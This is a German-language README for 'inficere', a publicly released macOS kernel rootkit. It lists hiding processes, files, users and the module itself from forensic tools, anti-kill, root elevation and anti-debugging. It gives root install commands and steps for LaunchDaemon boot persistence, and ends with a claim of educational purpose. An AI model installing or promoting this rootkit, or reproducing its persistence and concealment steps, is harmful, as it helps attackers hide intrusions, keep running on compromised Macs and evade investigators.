inficere

Öffentliche Version meines Mac-OS-X-Rootkits, das auf fractalGs onyx-the-black-cat aufbaut (https://github.com/gdbinit/onyx-the-black-cat)

Nur getestet unter Mountain Lion, 10.8.2 bis 10.8.5. Eine Funktion auf anderen Versionen ist nicht garantiert.

Funktionen

• Prozessverbergen – versteckt vor 'ps PID', 'ps aux', Activity Monitor, top, usw.
• Datei-/Verzeichnisverbergen
• Benutzerverbergen – versteckt einen bestimmten Benutzer vor 'who', 'w'
• Selbstverbergen – versteckt das Modul selbst vor kextstat und volatility
• Anti-Kill
• PID zu UID 0
• Anti-Debug-Tricks (hauptsächlich von @osxreverser) – Anti-Anti-ptrace, Patch task_for_pid(0), usw.

Anleitung

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

Für Persistenz beim Booten:

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

Inficere versteckt die oben genannten Dateien nach dem Laden.

Ich möchte betonen, dass ich dies ausschließlich zu Bildungszwecken erstellt habe.